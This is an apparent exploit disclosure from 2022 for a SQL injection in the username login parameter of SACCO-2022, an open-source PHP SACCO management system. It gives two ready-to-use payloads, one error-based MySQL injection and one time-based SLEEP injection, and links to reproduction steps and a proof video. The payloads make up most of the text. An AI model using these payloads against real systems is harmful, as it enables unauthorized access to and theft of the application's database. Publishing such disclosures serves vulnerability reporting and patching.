## Title: SACCO-2022 SQLi ## Author: nu11secur1ty ## Date: 08.27.2022 ## Vendor: https://www.mayurik.com/ ## Software: https://www.sourcecodester.com/php/15372/open-source-sacco-management-system-free-download.html ## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2022/SACCO ## Description: The `username` parameter from the SACCO-2022 system appears to be vulnerable to SQL injection attacks. The malicious user can dump-steal the database, from this system and he can use it for very malicious purposes. STATUS: HIGH Vulnerability [+]Payload: ```mysql --- Parameter: username (POST) Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: username=mayuri.infospace@gmail.com' AND (SELECT 6479 FROM(SELECT COUNT(*),CONCAT(0x71786a7671,(SELECT (ELT(6479=6479,1))),0x71767a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)# UWlq&password=admin Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: username=mayuri.infospace@gmail.com' AND (SELECT 7854 FROM (SELECT(SLEEP(5)))OzkN)# Lpgs&password=admin --- ``` ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2022/SACCO) ## Proof and Exploit: [href](https://streamable.com/iswun6)